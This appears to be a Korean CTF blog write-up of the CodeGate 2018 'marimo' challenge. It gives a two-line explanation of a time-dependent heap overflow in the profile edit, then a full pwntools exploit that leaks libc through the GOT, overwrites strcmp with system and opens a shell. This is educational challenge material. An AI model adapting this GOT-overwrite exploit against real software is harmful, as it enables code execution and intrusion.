Edit에서 profile을 수정 할때에 마리모 생성 시간보다 시간이 지나있으면 오버플로우가 일어난다.
마리모를 두개 생성한다음 첫번째 마리모에서 오버플로를 일으켜서 두번째 마리모 구조체의 포인터를 덮어서 공격했다.
solve.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | from pwn import * import ctypes LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") elf=ELF("./marimo") libc=ELF("./libc.so.6") p=process("./marimo") #p=remote("ch41l3ng3s.codegate.kr", 3333) def show_me_marimo(name, profile): p.sendline("show me the marimo") print p.recv() p.sendline(name) print p.recv() p.sendline(profile) print p.recv() def edit(idx, profile): p.sendline("V") print p.recv() p.sendline(str(idx)) print p.recv() p.sendline("M") print p.recv() p.sendline(profile) print p.recv() p.sendline("B") print p.recv() #gdb.attach(p, "tracemalloc on\nc") show_me_marimo("1","1") show_me_marimo("2","2") time.sleep(2) edit(0, "A"*0x30+p32(LIBC.time(0))+p32(0x100)+p64(elf.got['puts'])+p64(elf.got['strcmp'])) p.sendline("V") print p.recv() p.sendline("1") print p.recvuntil("name : ") puts = u64(p.recv(6).ljust(8,"\x00")) print p.recv() libc_base = puts - libc.symbols['puts'] libc.address = libc_base system = libc.symbols['system'] p.sendline("M") print p.recv() p.sendline(p64(system)[:-1]) print p.recv() p.sendline("B") print p.recv() p.sendline("sh") print 'system -> ', hex(system) p.interactive() | cs |
'CTF' 카테고리의 다른 글
HarekazeCTF 2018 Harekaze Farm (0) | 2018.02.11 |
---|---|
CodeGate 2018 quals SuperFTP (0) | 2018.02.07 |
CodeGate 2018 quals BaskinRobins31 (0) | 2018.02.07 |
SCTF 2017 본썬 후기 (0) | 2017.08.23 |
YISF 2017 본선 후기 (0) | 2017.08.14 |